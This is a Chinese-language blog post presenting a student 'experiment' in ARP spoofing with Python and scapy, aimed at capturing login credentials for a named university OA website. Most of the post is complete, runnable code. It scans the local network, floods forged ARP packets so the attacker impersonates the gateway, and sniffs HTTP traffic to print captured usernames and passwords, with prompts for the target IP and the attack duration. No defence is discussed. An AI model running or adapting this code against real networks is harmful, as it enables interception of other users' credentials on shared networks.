Python实现ARP欺骗

实验目的:局域网段扫描,利用arp欺骗抓包获取用户名密码,我选择的是截获被攻击者登录http://oa.nwu.edu.cn/网站的登录信息;
Python实现ARP欺骗_第1张图片:局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。
ARP攻击的两种类型:
主机型ARP欺骗:
Python实现ARP欺骗_第2张图片
2、网关型ARP欺骗:
Python实现ARP欺骗_第3张图片
实验步骤
其中,主要用到的语法公式如下:
pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址)

1、局域网扫描:找到当前局域网内活跃的主机,代码如下:

def scan():
    ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/16'),timeout=1)
    print('一共扫描到%d个主机:'%len(ans))
    print(ans)

SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list;

2、ARP攻击:此次攻击使用多进程,每隔0.2s发一次arp攻击,攻击者伪装成网关,截获被攻击主机的TCP请求报文,通过爬虫,输出用户名以及密码;

发送ARP攻击数据包代码如下:

#局域网段扫描,抓包获取密码 author=肖俊怡

import time
import re 
import os
from scapy.all import *
from threading import Thread

#定义变量函数
wifi = 'Intel(R) Dual Band Wireless-AC 7265'
rtable = os.popen('route print').read()
#print(rtable)
#注意将列表转为字符串
getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s',rtable)[0]
#print(getway)

#局域网扫描
def scan():

#SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list
#公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
    ans,unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)
    print('一共扫描到%d个主机:'%len(ans))
    for i in ans:
        print(i)
 
#找用户名和密码
def paw(p):
    try:
        if p.haslayer(Raw):
            ss=p.load.decode()
            result=re.findall(r'userName=(.+)&passWord=(.+)',ss)
            if result:
                print('user:',result[0][0])
                print('pass:',result[0][1])
    except:
        pass
      
#抓包
def capture(tip,tcap):
    #冒充自己为网关
    pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)
        
#arp欺骗攻击
def arpspoof(tip,tcap):
    t = Thread(target=capture,args=(tip,tcap))
    t.start()
    for i in range(tcap*5):
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))
        time.sleep(0.2)

    
    
if __name__ == '__main__':
    scan()
    target = input('输入要攻击的ip地址:').strip()
    tl = int(input('输入要准备攻击的时间:').strip())
    arpspoof(target,tl)
    print('攻击结束!')

恩恩~~就酱紫啦!!!

你可能感兴趣的:(Python实现ARP欺骗)